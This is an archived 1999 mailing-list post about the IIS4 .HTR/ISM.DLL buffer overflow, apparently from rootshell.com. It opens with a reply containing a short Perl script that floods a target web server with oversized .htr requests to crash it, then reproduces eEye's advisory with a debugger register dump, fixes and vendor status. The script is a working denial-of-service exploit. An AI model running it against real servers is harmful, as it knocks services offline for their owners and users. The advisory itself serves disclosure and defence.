[ http://www.rootshell.com/ ]

Date:         Tue, 15 Jun 1999 17:01:23 -0500
From:         Ryan R Permeh <rrpermeh@RCONNECT.COM>
Subject:      Re: Retina vs. IIS4, Round 2, KO

tested, this works for me...  scripting was turned on...  perl exploit
code follows:

#!/usr/bin/perl
#props to the absu crew
use Net::Telnet;
for ($i=2500;$i<3500;$i++)
 {
        $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
        my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
        print "$cmd\n";$obj->print("$cmd");
        $obj->close;
 }

-----------------------------------------------------------------------

Retina vs. IIS4, Round 2

Systems Affected:

Internet Information Server 4.0 (IIS4)
Microsoft Windows NT 4.0 SP3 Option Pack 4
Microsoft Windows NT 4.0 SP4 Option Pack 4
Microsoft Windows NT 4.0 SP5 Option Pack 4

Release Date:

June 8, 1999

Advisory Code:

AD06081999

Description:

We have been debating how to start out this advisory. How do you explain
that 90% or so of the Windows NT web servers on the Internet are open to a
hole that lets an attacker execute arbitrary code on the remote web server?
So the story starts...

The Goal:

Find a buffer overflow that will affect 90% of the Windows NT web servers on
the Internet. Exploit this buffer overflow.

The Theory:

There will be overflows in at least one of the default IIS filtered
extensions (i.e. .ASP, .IDC, .HTR).  The way we think the exploit will take
place is that IIS will pass the full URL to the DLL that handles the
extension. Therefore if the ISAPI DLL does not do proper bounds checking it
will overflow a buffer taking IIS (inetinfo.exe) with it and allow us to
execute arbitrary code on the remote server.

Entrance Retina:

At the same time of working on this advisory we have been working on the AI
mining logic for Retina's HTTP module. What better test scenario than this?
We gave Retina a list of 10 or so extensions common to IIS and instructed it
to find any possible holes relating to these extensions.

The Grind:

After about an hour Retina found what appeared to be a hole. It displayed
that after sending "GET /[overflow].htr HTTP/1.0" it had crashed the server.
We all crossed our fingers, started up the good ol' debugger and had Retina
hit the server again.

Note: [overflow] is 3k or so characters... but we will not get into the
string lengths and such here. View the debug info and have a look for
yourself.

The Registers:
  EAX = 00F7FCC8 EBX = 00F41130
  ECX = 41414141 EDX = 77F9485A
  ESI = 00F7FCC0 EDI = 00F7FCC0
  EIP = 41414141 ESP = 00F4106C
  EBP = 00F4108C EFL = 00000246

 Note: Retina was using "A" (0x41 in hex) for the character to overflow
 with.  If you're not familiar with buffer overflows a quick note would be
 that getting our bytes into any of the registers is a good sign, and
 directly into EIP makes it even easier :)

Explain This:

The overflow is in relation to the .HTR extensions. IIS includes the
capability to allow Windows NT users to change their password via the web
directory
/iisadmpwd/. This feature is implemented as a set of .HTR files and the ISAPI
extension file ISM.DLL. So somewhere along the line when the URL is passed
through to ISM.DLL, proper bounds checking is not done and our overflow
takes place. The .HTR/ISM.DLL ISAPI filter is installed by default on IIS4
servers. Looks like we got our 90% of the Windows NT web servers part down.
However can we exploit this?

The Exploit:

Yes. We can definitely exploit this and we have. We will not go into much
detail here about how the buffer is exploited and such. However, one nice
thing to note is that the exploit has been crafted in such a way to work on
SP4 and SP5 machines, therefore there is no guessing of offsets and possible
accidental crashing of the remote server.

We will be releasing more information about the exploit soon.

The Fallout:

Almost 90% of the Windows NT web servers on the Internet are affected by
this hole. Everyone from NASDAQ to the U.S. Army to Microsoft themselves.
No, we did not try it on the above mentioned. But it is easy to verify if a
web server is exploitable without using the exploit. Even a server that's
locked in a guarded room behind a Cisco Pix can be broken into with this
hole. This is a reminder to all software vendors that testing for common
security holes in your software is a must. Demand more from your software
vendors.

The Request. (Well one anyway.)

Dear Microsoft,

One of the things that we found out is that IIS did not log any trace of our
attempted hack. We recommend that you pass all server requests to the
logging service before passing it to any ISAPI filters etc...The logging
service should be, as named, an actual service running in a separate memory
space so that when inetinfo goes down intrusion signatures are still logged.

Retina vs. IIS4, Round 2. KO.

Fixes:

   1.Remove the extension .HTR from the ISAPI DLL list. Microsoft has just
     updated their checklist to include this interim fix.
   2.Apply the patch supplied by Microsoft when available.

Vendor Status:

We contacted Microsoft on June 8th 1999, eEye Digital Security Team provided
all information needed to reproduce the exploit. and how to fix it.
Microsoft security team did confirm the exploit and are releasing a patch
for IIS.

Related Links

Retina - The Network Security Scanner
http://www.eEye.com/retina/ 

Retina - Brain File used to uncover the hole
http://www.eEye.com/database/advisories/ad06081999/ad06081999-brain.html


Greetings go out to:

The former Secure Networks Inc., L0pht, Phrack, ADM, Rhino9, Attrition, HNN
and any other security company or organization that believes in full
disclosure.

Copyright (c) 1999 eEye Digital Security Team

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eEye Digital Security Team

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